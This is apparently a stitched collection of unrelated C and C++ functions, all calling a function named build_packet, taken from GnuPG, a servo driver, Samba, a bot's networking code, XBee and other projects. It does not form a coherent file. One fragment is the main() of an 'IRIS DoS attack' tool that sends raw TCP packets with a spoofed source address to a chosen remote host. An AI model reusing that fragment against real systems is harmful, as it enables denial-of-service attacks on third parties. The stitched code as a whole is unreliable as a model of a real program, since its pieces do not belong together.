void
queue_packet_large(PACKET *p, int priority)
{
// chunk packets need to be sent in succession
if (priority == SP_DEFERRED) priority = SP_NORMAL;
// break the packet down into chunks
int offset = 0;
while (offset < p->len) {
// also must fit into a cluster packet
int chunk_size = MIN(p->len - offset, 240); // min size must be < guard clauses in queue_packet and queue_packet_reliable
PACKET *q = allocate_packet(chunk_size + 2);
build_packet(q->data, "AAZ",
0x00,
(offset + chunk_size < p->len) ? 0x08 : 0x09,
&p->data[offset],
chunk_size
);
queue_packet_reliable(q, priority);
offset += chunk_size;
}
free_packet(p);
}
/*
* Queue a packet for reliable transmission.
*/
void
queue_packet_reliable(PACKET *p, int priority)
{
assert(p->len < 510);
THREAD_DATA::net_t *n = get_thread_data()->net;
if (priority == SP_DEFERRED) {
n->queues->d_prio->push_back(p);
} else if (priority == SP_HIGH || priority == SP_NORMAL) {
uint32_t ack_id;
PACKET *p2;
/* packet with space for reliable header */
p2 = allocate_packet(p->len + 6);
ack_id = n->rel_o->next_ack_id++;
/* add reliable header and free old (headerless) packet */
build_packet(p2->data, "AACZ", 0x00, 0x03, ack_id, p->data, p->len);
free_packet(p);
/* store a copy for retransmission until its ack is received */
RPACKET *rp = allocate_rpacket(p2->len, get_ticks_ms(), ack_id);
memcpy(rp->data, p2->data, p2->len);
n->rel_o->queue->push_back(rp);
/* send p2 */
queue_packet(p2, priority);
} else {
assert(0);
}
}
std::vector<uint8_t> HerkuleX::build_packet(uint8_t servo_id,
Command::e command, uint8_t optional_data) {
std::vector<uint8_t> data_pkt(1, 0);
data_pkt[0] = optional_data & 0xFF;
return build_packet(servo_id, command, data_pkt);
}
int main(int argc,char **argv) {
int rawfd, check, one=1;
struct sockaddr_in raddr;
struct in_addr source_ip, desti_ip;
struct ip *ip;
struct tcphdr *tcp;
while (argc<3) {
fprintf(stderr, "\n\n[ IRIS DoS attack - by grazer ]");
fprintf(stderr, "\n %s localhost remotehost \n\n", argv[0] );
exit(0);
}
fprintf(stderr, "\nStarting Iris DoS...\n");
if((check=gethostbyname(argv[2])==NULL)) {
fprintf(stderr, "\nCannot resolve host %s\n", argv[2]);
exit(0);
}
source_ip.s_addr= inet_addr(argv[1]);
desti_ip.s_addr = inet_addr(argv[2]);
if ((rawfd=socket(PF_INET, SOCK_RAW, IPPROTO_TCP))<0) {
fprintf(stderr, "\n You need root for this..");
exit(0);
}
setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, 1);
build_packet(rawfd,source_ip.s_addr, desti_ip.s_addr);
close(rawfd);
return 1;
}
int main (int argc, char** argv) {
char* input;
int i;
packet_t* p;
int fd;
char slot;
if(argc != 3) {
printf("Usage: signpainter slotnumber message\n");
exit(1);
}
slot = atoi(argv[1]);
input = argv[2];
printf("Checksumming: X%sX\n", input);
p = build_packet(input, slot);
dump_packet(p);
printf("Sending out\n");
fd = open_serial("/dev/sign");
writen(fd, p->buf, p->len);
printf("Sent out\n");
printf("\n");
}
int main(int argc, char *argv[])
{
struct bootp* bp;
int s;
get_args(argc, argv);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(SERVER_PORT);
server_addr.sin_addr.s_addr = inet_addr(host_addr);
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
fprintf(stderr, "cannot create socket\n");
exit(1);
}
if ((bp = (struct bootp*) malloc(MAX_MSG_SIZE + 1000)) == NULL) {
(void) fprintf(stderr, "Cannot malloc.\n");
exit(1);
};
(void) memset(bp, 0, MAX_MSG_SIZE + 1000); /* ai exploit isn't secure */
build_packet(bp, argc, argv);
sendpacket(s, bp);
}
packet remote_at(xbee_addr addr, xbee_net net, char * data, int data_sz) {
packet res;
int i;
int sz = 1 + 1 + 8 + 2 + 1 + data_sz;
static char cnt = 0;
cnt++;
char * buf = (char *)malloc(sz);
/* API Identifier */
buf[0] = API_REMOTE_AT;
/* Frame ID */
buf[1] = cnt;
/* Destination address */
for( i = 0; i < 8; i++ ) buf[i+2] = addr.c_addr[i];
/* Destination network */
for( i = 0; i < 2; i++ ) buf[i+10] = net.c_net[i];
/* Command Options */
buf[12] = 0x02; /* TODO: make this modifiable; currently, just apply
immediately */
for( i = 0; i < data_sz; i++ ) buf[i+13] = data[i];
res = build_packet(sz, buf);
free(buf);
return res;
}
/* Routine which sends ACK responses to the Server.
* Note: There is no timeout for ACKs
*/
void send_ack(int sock_fd, unsigned short window_size, unsigned int send_seq,
unsigned int ack_seq, unsigned int timestamp, double prob_loss)
{
packet_info_t pkt_info;
packet_t *pkt = NULL;
memset(&pkt_info, 0, sizeof(pkt_info));
pkt_info.seq = send_seq;
pkt_info.ack = ack_seq;
pkt_info.window_size = window_size;
SET_ACK_FLAG(&pkt_info);
pkt_info.data_len = 0;
pkt_info.timestamp = rtt_ts(&rttinfo);
if (!consume_random_packet(&pkt_info, prob_loss, FALSE))
{
pkt = build_packet(&pkt_info);
assert(pkt);
Write(sock_fd, (char *)pkt, HEADER_SIZE);
free(pkt);
}
}
int main(int argc, char *argv[])
{
struct sockaddr_in si_other;
int s, len;
char buffer[1024];
if (argc != 4) {
fprintf(stderr, "Usage: 'udp-stress IP PORT METRIC'\n");
exit(-1);
}
srand(time(NULL));
memset(&si_other, 0, sizeof(si_other));
si_other.sin_family = AF_INET;
si_other.sin_port = htons(atoi(argv[2]));
if (inet_aton(argv[1], &si_other.sin_addr) == 0) {
fprintf(stderr, "inet_aton() failed\n");
exit(1);
}
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
diep("socket");
len = build_packet(buffer, argv[3]);
sendto(s, buffer, len, 0, (void *)&si_other, sizeof(si_other));
close(s);
return 0;
}
/****************************************************************************
all unexpected packets are passed in here, to be stored in a unexpected
packet database. This allows nmblookup and other tools to receive packets
erroneoously sent to the wrong port by broken MS systems
**************************************************************************/
void unexpected_packet(struct packet_struct *p)
{
static int count;
TDB_DATA kbuf, dbuf;
struct unexpected_key key;
char buf[1024];
int len=0;
if (!tdbd) {
tdbd = tdb_open_log(lock_path("unexpected.tdb"), 0,
TDB_CLEAR_IF_FIRST|TDB_DEFAULT,
O_RDWR | O_CREAT, 0644);
if (!tdbd) {
DEBUG(0,("Failed to open unexpected.tdb\n"));
return;
}
}
memset(buf,'\0',sizeof(buf));
len = build_packet(buf, p);
key.packet_type = p->packet_type;
key.timestamp = p->timestamp;
key.count = count++;
kbuf.dptr = (char *)&key;
kbuf.dsize = sizeof(key);
dbuf.dptr = buf;
dbuf.dsize = len;
tdb_store(tdbd, kbuf, dbuf, TDB_REPLACE);
}
static int
write_symkey_enc(STRING2KEY *symkey_s2k,DEK *symkey_dek,DEK *dek,IOBUF out)
{
int rc,seskeylen=cipher_get_keylen(dek->algo)/8;
PKT_symkey_enc *enc;
byte enckey[33];
PACKET pkt;
enc=xmalloc_clear(sizeof(PKT_symkey_enc)+seskeylen+1);
encode_seskey(symkey_dek,&dek,enckey);
enc->version = 4;
enc->cipher_algo = opt.s2k_cipher_algo;
enc->s2k = *symkey_s2k;
enc->seskeylen = seskeylen + 1; /* algo id */
memcpy( enc->seskey, enckey, seskeylen + 1 );
pkt.pkttype = PKT_SYMKEY_ENC;
pkt.pkt.symkey_enc = enc;
if((rc=build_packet(out,&pkt)))
log_error("build symkey_enc packet failed: %s\n",g10_errstr(rc));
xfree(enc);
return rc;
}
std::vector<uint8_t> HerkuleX::build_packet(uint8_t servo_id,
Command::e command, uint16_t optional_data) {
std::vector<uint8_t> data_pkt(2, 0);
data_pkt[0] = optional_data & 0X00FF;
data_pkt[1] = (optional_data & 0XFF00) >> 8;
return build_packet(servo_id, command, data_pkt);
}
/*
* Write a pubkey-enc packet for the public key PK to OUT.
*/
int
write_pubkey_enc (ctrl_t ctrl,
PKT_public_key *pk, int throw_keyid, DEK *dek, iobuf_t out)
{
PACKET pkt;
PKT_pubkey_enc *enc;
int rc;
gcry_mpi_t frame;
print_pubkey_algo_note ( pk->pubkey_algo );
enc = xmalloc_clear ( sizeof *enc );
enc->pubkey_algo = pk->pubkey_algo;
keyid_from_pk( pk, enc->keyid );
enc->throw_keyid = throw_keyid;
/* Okay, what's going on: We have the session key somewhere in
* the structure DEK and want to encode this session key in an
* integer value of n bits. pubkey_nbits gives us the number of
* bits we have to use. We then encode the session key in some
* way and we get it back in the big intger value FRAME. Then
* we use FRAME, the public key PK->PKEY and the algorithm
* number PK->PUBKEY_ALGO and pass it to pubkey_encrypt which
* returns the encrypted value in the array ENC->DATA. This
* array has a size which depends on the used algorithm (e.g. 2
* for Elgamal). We don't need frame anymore because we have
* everything now in enc->data which is the passed to
* build_packet(). */
frame = encode_session_key (pk->pubkey_algo, dek,
pubkey_nbits (pk->pubkey_algo, pk->pkey));
rc = pk_encrypt (pk->pubkey_algo, enc->data, frame, pk, pk->pkey);
gcry_mpi_release (frame);
if (rc)
log_error ("pubkey_encrypt failed: %s\n", gpg_strerror (rc) );
else
{
if ( opt.verbose )
{
char *ustr = get_user_id_string_native (ctrl, enc->keyid);
log_info (_("%s/%s.%s encrypted for: \"%s\"\n"),
openpgp_pk_algo_name (enc->pubkey_algo),
openpgp_cipher_algo_name (dek->algo),
dek->use_aead? openpgp_aead_algo_name (dek->use_aead)
/**/ : "CFB",
ustr );
xfree (ustr);
}
/* And write it. */
init_packet (&pkt);
pkt.pkttype = PKT_PUBKEY_ENC;
pkt.pkt.pubkey_enc = enc;
rc = build_packet (out, &pkt);
if (rc)
log_error ("build_packet(pubkey_enc) failed: %s\n",
gpg_strerror (rc));
}
free_pubkey_enc(enc);
return rc;
}
static
void
send_outgoing_packets(THREAD_DATA *td)
{
THREAD_DATA::net_t *n = td->net;
ticks_ms_t ticks = get_ticks_ms();
/* write any outgoing packets */
if (ticks - n->ticks->last_deferred_flush > DEFERRED_PACKET_SEND_INTERVAL) {
/*
* if its time to flush deferred packets, grab one and place it into the SP_NORMAL queue
* so it gets sent out immediately
*/
/* TODO: This should be rate limited based on packet size, not interval */
size_t ndeferred = 0;
while (!n->queues->d_prio->empty() && ndeferred++ < 3) { // send 3 packets per interval
PACKET *p = *n->queues->d_prio->begin();
n->queues->d_prio->erase(n->queues->d_prio->begin());
queue_packet_reliable(p, SP_NORMAL);
}
n->ticks->last_deferred_flush = ticks;
}
/* packet size + space for unencrypted type id */
/* TODO: fix MAX_PACKET vs constants */
uint8_t pkt[MAX_PACKET];
int pkt_count;
do {
pkt_count = 0;
pkt_count += n->queues->h_prio->size();
pkt_count += n->queues->n_prio->size();
if (pkt_count > 0) {
bool cluster = pkt_count >= 2;
int pktl = 0;
if (cluster) {
build_packet(pkt, "AA", 0x00, 0x0e);
pktl += 2;
}
/* pull packets from all the various queues */
pktl += pull_packets(n->queues->h_prio,
&pkt[pktl], MAX_PACKET - pktl, cluster);
pktl += pull_packets(n->queues->n_prio,
&pkt[pktl], MAX_PACKET - pktl, cluster);
write_packet(td, pkt, pktl);
}
} while (pkt_count > 0);
}
/****************
* Make a hash value from the public key certificate
*/
void
hash_public_key( MD_HANDLE md, PKT_public_key *pk )
{
PACKET pkt;
int rc = 0;
int ctb;
ulong pktlen;
int c;
IOBUF a = iobuf_temp();
#if 0
FILE *fp = fopen("dump.pk", "a");
int i=0;
fprintf(fp, "\nHashing PK (v%d):\n", pk->version);
#endif
/* build the packet */
init_packet(&pkt);
pkt.pkttype = PKT_PUBLIC_KEY;
pkt.pkt.public_key = pk;
if( (rc = build_packet( a, &pkt )) )
log_fatal("build public_key for hashing failed: %s\n", g10_errstr(rc));
if( !(pk->version == 3 && pk->pubkey_algo == 16) ) {
/* skip the constructed header but don't do this for our very old
* v3 ElG keys */
ctb = iobuf_get_noeof(a);
pktlen = 0;
if( (ctb & 0x40) ) {
c = iobuf_get_noeof(a);
if( c < 192 )
pktlen = c;
else if( c < 224 ) {
pktlen = (c - 192) * 256;
c = iobuf_get_noeof(a);
pktlen += c + 192;
}
else if( c == 255 ) {
pktlen = iobuf_get_noeof(a) << 24;
pktlen |= iobuf_get_noeof(a) << 16;
pktlen |= iobuf_get_noeof(a) << 8;
pktlen |= iobuf_get_noeof(a);
}
}
else {
int lenbytes = ((ctb&3)==3)? 0 : (1<<(ctb & 3));
for( ; lenbytes; lenbytes-- ) {
pktlen <<= 8;
pktlen |= iobuf_get_noeof(a);
}
}
/* hash a header */
md_putc( md, 0x99 );
pktlen &= 0xffff; /* can't handle longer packets */
md_putc( md, pktlen >> 8 );
md_putc( md, pktlen & 0xff );
}
static void
write_header( cipher_filter_context_t *cfx, IOBUF a )
{
PACKET pkt;
PKT_encrypted ed;
byte temp[18];
unsigned blocksize;
unsigned nprefix;
blocksize = cipher_get_blocksize( cfx->dek->algo );
if( blocksize < 8 || blocksize > 16 )
log_fatal("unsupported blocksize %u\n", blocksize );
memset( &ed, 0, sizeof ed );
ed.len = cfx->datalen;
ed.extralen = blocksize+2;
ed.new_ctb = !ed.len && !RFC1991;
if( cfx->dek->use_mdc ) {
ed.mdc_method = DIGEST_ALGO_SHA1;
cfx->mdc_hash = md_open( DIGEST_ALGO_SHA1, 0 );
if ( DBG_HASHING )
md_start_debug( cfx->mdc_hash, "creatmdc" );
}
{
char buf[20];
sprintf (buf, "%d %d", ed.mdc_method, cfx->dek->algo);
write_status_text (STATUS_BEGIN_ENCRYPTION, buf);
}
init_packet( &pkt );
pkt.pkttype = cfx->dek->use_mdc? PKT_ENCRYPTED_MDC : PKT_ENCRYPTED;
pkt.pkt.encrypted = &ed;
if( build_packet( a, &pkt ))
log_bug("build_packet(ENCR_DATA) failed\n");
nprefix = blocksize;
randomize_buffer( temp, nprefix, 1 );
temp[nprefix] = temp[nprefix-2];
temp[nprefix+1] = temp[nprefix-1];
print_cipher_algo_note( cfx->dek->algo );
cfx->cipher_hd = cipher_open( cfx->dek->algo,
cfx->dek->use_mdc? CIPHER_MODE_CFB
: CIPHER_MODE_AUTO_CFB, 1 );
/* log_hexdump( "thekey", cfx->dek->key, cfx->dek->keylen );*/
cipher_setkey( cfx->cipher_hd, cfx->dek->key, cfx->dek->keylen );
cipher_setiv( cfx->cipher_hd, NULL, 0 );
/* log_hexdump( "prefix", temp, nprefix+2 ); */
if( cfx->mdc_hash ) /* hash the "IV" */
md_write( cfx->mdc_hash, temp, nprefix+2 );
cipher_encrypt( cfx->cipher_hd, temp, temp, nprefix+2);
cipher_sync( cfx->cipher_hd );
iobuf_write(a, temp, nprefix+2);
cfx->header=1;
}
void HerkuleX::write_registry_eep(uint8_t servo_id, Address_EEP::e address,
std::vector<uint8_t> data, StatusMsg& status) {
std::vector<uint8_t> optional_data(2 + data.size(), 0);
optional_data[0] = address; // Address
optional_data[1] = data.size(); // Length
optional_data.insert(optional_data.end(), data.begin(), data.end());
send_data(build_packet(servo_id, Command::HEEPWRITE, optional_data),
status);
}
void HerkuleX::set_position(uint8_t servo_id, uint16_t goal_position,
uint16_t play_time, LedColor::e led_color, StatusMsg& status) {
std::vector<uint8_t> data(5, 0);
data[0] = uint8_t(play_time / 11.2); // Execution time in (ms / 11.2)
data[1] = goal_position & 0X00FF;
data[2] = (goal_position & 0XFF00) >> 8;
data[3] = (led_color << 2) & 0xFD; // position control mode LED colours
data[4] = servo_id;
send_data(build_packet(servo_id, Command::HSJOG, data), status);
}
/* Build a packet and write it to the stream OUT. This variant also
* writes the meta data using ring trust packets. Returns: 0 on
* success or on error code. */
gpg_error_t
build_packet_and_meta (iobuf_t out, PACKET *pkt)
{
gpg_error_t err;
PKT_ring_trust rt = {0};
err = build_packet (out, pkt);
if (err)
;
else if (pkt->pkttype == PKT_SIGNATURE)
{
PKT_signature *sig = pkt->pkt.signature;
rt.subtype = RING_TRUST_SIG;
/* Note: trustval is not yet used. */
if (sig->flags.checked)
{
rt.sigcache = 1;
if (sig->flags.valid)
rt.sigcache |= 2;
}
err = do_ring_trust (out, &rt);
}
else if (pkt->pkttype == PKT_USER_ID
|| pkt->pkttype == PKT_ATTRIBUTE)
{
PKT_user_id *uid = pkt->pkt.user_id;
rt.subtype = RING_TRUST_UID;
rt.keyorg = uid->keyorg;
rt.keyupdate = uid->keyupdate;
rt.url = uid->updateurl;
err = do_ring_trust (out, &rt);
rt.url = NULL;
}
else if (pkt->pkttype == PKT_PUBLIC_KEY
|| pkt->pkttype == PKT_SECRET_KEY)
{
PKT_public_key *pk = pkt->pkt.public_key;
rt.subtype = RING_TRUST_KEY;
rt.keyorg = pk->keyorg;
rt.keyupdate = pk->keyupdate;
rt.url = pk->updateurl;
err = do_ring_trust (out, &rt);
rt.url = NULL;
}
return err;
}
/* IN PROGRESS */
void send_packet()
{
uint8_t *buf, *pbuf;
uint64_t queue, length, buf_phys_addr;
cvmx_pko_command_word0_t pko_command;
cvmx_pko_return_value_t status;
cvmx_buf_ptr_t hw_buffer;
buf = (uint8_t *) cvmx_fpa_alloc(packet_pool);
if (buf == NULL) {
printf("ERROR: allocation from pool %" PRIu64 " failed!\n", packet_pool);
return;
} else {
printf("Packet allocation successful!\n");
}
pbuf = build_packet(buf, PAYLOAD_SIZE);
length = (uint64_t) (pbuf - buf);
printf("buf : %p\n", buf);
printf("pbuf: %p\n", pbuf);
printf("diff: %" PRIu64 "\n", length);
pko_command.u64 = 0;
pko_command.s.segs = 1;
pko_command.s.total_bytes = length;
pko_command.s.dontfree = 1;
buf_phys_addr = cvmx_ptr_to_phys(buf);
printf("buf_phys_addr: %" PRIu64 "\n", buf_phys_addr);
hw_buffer.s.i = 0;
hw_buffer.s.back = 0;
hw_buffer.s.pool = packet_pool; // the pool that the buffer came from
hw_buffer.s.size = length; // the size of the segment pointed to by addr (in bytes)
hw_buffer.s.addr = cvmx_ptr_to_phys(buf); // pointer to the first byte of the data
queue = cvmx_pko_get_base_queue(xaui_ipd_port);
printf("queue: %" PRIu64 "\n", queue);
cvmx_pko_send_packet_prepare(xaui_ipd_port, queue, CVMX_PKO_LOCK_NONE);
// THROWS EXCEPTION HERE
status = cvmx_pko_send_packet_finish(xaui_ipd_port, queue, pko_command, hw_buffer, CVMX_PKO_LOCK_NONE);
if (status == CVMX_PKO_SUCCESS) {
printf("Succesfully sent packet!\n");
cvmx_fpa_free(buf, packet_pool, 0);
}
}
int send_magic_packet(const struct ether_addr *dst_addr, const char *ifname_in)
{
const char *ifname = ifname_in == NULL ? "eth0" : ifname_in;
struct ether_addr src_addr;
int sock;
struct sockaddr_ll dst_sockaddr;
unsigned char packet[MAGIC_PACKET_SIZE];
size_t packet_sz;
sock = socket(PF_PACKET, SOCK_RAW, 0);
if (sock < 0)
return -1;
// Get the source address from the interface name
{
struct ifreq ifr;
strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0)
return -1;
memcpy(src_addr.ether_addr_octet, ifr.ifr_hwaddr.sa_data, 6);
}
// Make dst_sockaddr for sendto()
{
struct ifreq ifr;
strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
if (ioctl(sock, SIOCGIFINDEX, &ifr) < 0)
return -1;
memset(&dst_sockaddr, 0, sizeof(dst_sockaddr));
dst_sockaddr.sll_family = AF_PACKET;
dst_sockaddr.sll_ifindex = ifr.ifr_ifindex;
dst_sockaddr.sll_halen = 6;
memcpy(dst_sockaddr.sll_addr, dst_addr->ether_addr_octet, 6);
}
packet_sz = build_packet(dst_addr->ether_addr_octet,
src_addr.ether_addr_octet,
packet);
if (sendto(sock, packet, packet_sz, 0,
(struct sockaddr *) &dst_sockaddr, sizeof(dst_sockaddr)) < 0)
return -1;
if (close(sock))
return -1;
return 0;
}
/* pull packets from packet list into buf, and erase/free them */
static
int
pull_packets(packet_list_t *l, uint8_t *buf, int len, bool cluster)
{
int bytes_placed = 0;
int offset = 0;
int ch_size = 0; /* cluster header size */
if (cluster)
ch_size = 1;
while(l->begin() != l->end()) {
PACKET *p = *l->begin();
/* if theres room in the packet for cluster+cluster len */
if (p->len + ch_size <= len - offset) {
if (cluster) {
assert(p->len <= 0xFF);
if (p->len > 0xFF) abort();
bytes_placed = build_packet(
&buf[offset], "AZ", p->len, p->data, p->len);
} else {
bytes_placed = build_packet(
&buf[offset], "Z", p->data, p->len);
}
offset += bytes_placed;
free_packet(p);
l->erase(l->begin());
} else {
break;
}
}
return offset;
}
static void test_antispoof_rarp(void)
{
# include "rarp.c"
const unsigned char *pkts[] = {pkt1};
int pkts_size[] = {15};
uint16_t pkts_nb = 1;
struct ether_addr inside_mac;
struct pg_brick *gen_west;
struct pg_brick *antispoof;
struct pg_brick *col_east;
struct pg_error *error = NULL;
uint16_t packet_count;
uint16_t i;
struct rte_mbuf *packet;
uint64_t filtered_pkts_mask;
pg_scan_ether_addr(&inside_mac, "00:23:df:ff:c9:23");
/* [generator>]--[antispoof]--[collector] */
gen_west = pg_packetsgen_new("gen_west", 1, 1, EAST_SIDE,
&packet, 1, &error);
g_assert(!error);
antispoof = pg_antispoof_new("antispoof", 1, 1, EAST_SIDE,
inside_mac, &error);
g_assert(!error);
col_east = pg_collect_new("col_east", 1, 1, &error);
g_assert(!error);
pg_brick_link(gen_west, antispoof, &error);
g_assert(!error);
pg_brick_link(antispoof, col_east, &error);
g_assert(!error);
/* replay traffic */
for (i = 0; i < pkts_nb; i++) {
packet = build_packet(pkts[i], pkts_size[i]);
pg_brick_poll(gen_west, &packet_count, &error);
g_assert(!error);
g_assert(packet_count == 1);
pg_brick_west_burst_get(col_east, &filtered_pkts_mask, &error);
g_assert(!error);
g_assert(pg_mask_count(filtered_pkts_mask) == 0);
rte_pktmbuf_free(packet);
}
pg_brick_destroy(gen_west);
pg_brick_destroy(antispoof);
pg_brick_destroy(col_east);
}
std::vector<uint8_t> HerkuleX::read_registry_ram(uint8_t servo_id,
Address_RAM::e address, uint8_t length, StatusMsg& status) {
std::vector<uint8_t> data(2, 0);
data[0] = address;
data[1] = length;
std::vector<uint8_t> result = send_data_for_result(
build_packet(servo_id, Command::HRAMREAD, data), status);
if (status.status == Packet_Status::Error) {
return std::vector<uint8_t>();
} else {
return std::vector<uint8_t>(result.begin() + BASIC_PKT_SIZE,
result.end());
}
}
packet wrap1(char type, char * data, int sz) {
int i;
char * tmp = (char*)malloc(sz + 1);
tmp[0] = type;
for( i = 0; i < sz; i++ ) {
tmp[i+1] = data[i];
}
packet res = build_packet(sz + 1, tmp);
/* we allocated a buffer, don't forget to free it */
free(tmp);
return res;
}
std::vector<uint8_t> HerkuleX::read_registry_eep(uint8_t servo_id,
Address_EEP::e address, uint8_t length, StatusMsg& status) {
std::vector<uint8_t> data(2, 0);
data[0] = address;
data[1] = length;
std::vector<uint8_t> result = send_data_for_result(
build_packet(servo_id, Command::HEEPREAD, data), status);
if (status.status == Packet_Status::Error) {
return std::vector<uint8_t>();
} else {
std::vector<uint8_t>::iterator data_begin = result.begin();
std::advance(data_begin, BASIC_PKT_SIZE);
return std::vector<uint8_t>(data_begin, result.end());
}
}
packet at(char * data, int sz) {
static char cnt = 0;
cnt++;
int i;
char * tmp = (char*)malloc(sz + 2);
tmp[0] = API_AT;;
tmp[1] = cnt;
for( i = 0; i < sz; i++ ) {
tmp[i+2] = data[i];
}
packet res = build_packet(sz + 2, tmp);
/* we allocated a buffer, don't forget to free it */
free(tmp);
return res;
}
static int
write_symkey_enc (STRING2KEY *symkey_s2k, aead_algo_t aead_algo,
DEK *symkey_dek, DEK *dek, iobuf_t out)
{
int rc;
void *enckey;
size_t enckeylen;
PKT_symkey_enc *enc;
PACKET pkt;
rc = encrypt_seskey (symkey_dek, aead_algo, &dek, &enckey, &enckeylen);
if (rc)
return rc;
enc = xtrycalloc (1, sizeof (PKT_symkey_enc) + enckeylen);
if (!enc)
{
rc = gpg_error_from_syserror ();
xfree (enckey);
return rc;
}
enc->version = aead_algo? 5 : 4;
enc->cipher_algo = opt.s2k_cipher_algo;
enc->aead_algo = aead_algo;
enc->s2k = *symkey_s2k;
enc->seskeylen = enckeylen;
memcpy (enc->seskey, enckey, enckeylen);
xfree (enckey);
pkt.pkttype = PKT_SYMKEY_ENC;
pkt.pkt.symkey_enc = enc;
if ((rc=build_packet(out,&pkt)))
log_error("build symkey_enc packet failed: %s\n",gpg_strerror (rc));
xfree (enc);
return rc;
}
int
write_comment( iobuf_t out, const char *s )
{
PACKET pkt;
size_t n = strlen(s);
int rc=0;
pkt.pkttype = PKT_COMMENT;
if( *s != '#' ) {
pkt.pkt.comment = xmalloc ( sizeof *pkt.pkt.comment + n );
pkt.pkt.comment->len = n+1;
*pkt.pkt.comment->data = '#';
strcpy(pkt.pkt.comment->data+1, s);
}
else {
pkt.pkt.comment = xmalloc ( sizeof *pkt.pkt.comment + n - 1 );
pkt.pkt.comment->len = n;
strcpy(pkt.pkt.comment->data, s);
}
if( (rc = build_packet( out, &pkt )) )
log_error("build_packet(comment) failed: %s\n", gpg_strerror (rc) );
free_packet( &pkt );
return rc;
}
void
do_send_file(THREAD_DATA *td)
{
THREAD_DATA::net_t::send_file_data_t *sfd = td->net->send_file_data;
char *filename = sfd->cur_filename;
const char *initiator = (strlen(sfd->cur_initiator) > 0) ? sfd->cur_initiator : NULL;
char full_filename[64];
snprintf(full_filename, 64, "files/%s", filename);
initiator = initiator ? initiator : "";
FILE *f = fopen(full_filename, "rb");
if (f == NULL) {
LogFmt(OP_SMOD, "Couldn't open file for sending: %s", filename);
if (initiator) {
RmtMessageFmt(initiator, "Couldn't open file for sending: %s", filename);
}
sfd->in_use = 0;
return;
}
struct stat s;
memset(&s, 0, sizeof(s));
fstat(fileno(f), &s);
int bufl = s.st_size + 17;
uint8_t *buf = (uint8_t*)xmalloc(bufl);
if (fread(&buf[17], bufl - 17, 1, f) != 1) {
LogFmt(OP_SMOD, "Couldn't read file for sending: %s", filename);
if (initiator) {
RmtMessageFmt(initiator, "Couldn't read file for sending: %s", filename);
}
fclose(f);
free(buf);
sfd->in_use = 0;
return;
}
/* add file transfer header */
buf[0] = 0x16;
strlcpy((char*)&buf[1], filename, 16);
int bytes_left = bufl;
/* send initial stream start */
while (bytes_left > 0) {
int nout = MIN(bytes_left, 220); // must fit into a cluster header
PACKET *p = allocate_packet(6 + nout);
build_packet(p->data, "AACZ",
0x00,
0x0A,
bufl,
&buf[bufl - bytes_left], nout);
bytes_left -= nout;
queue_packet_reliable(p, SP_DEFERRED);
}
free(buf);
}
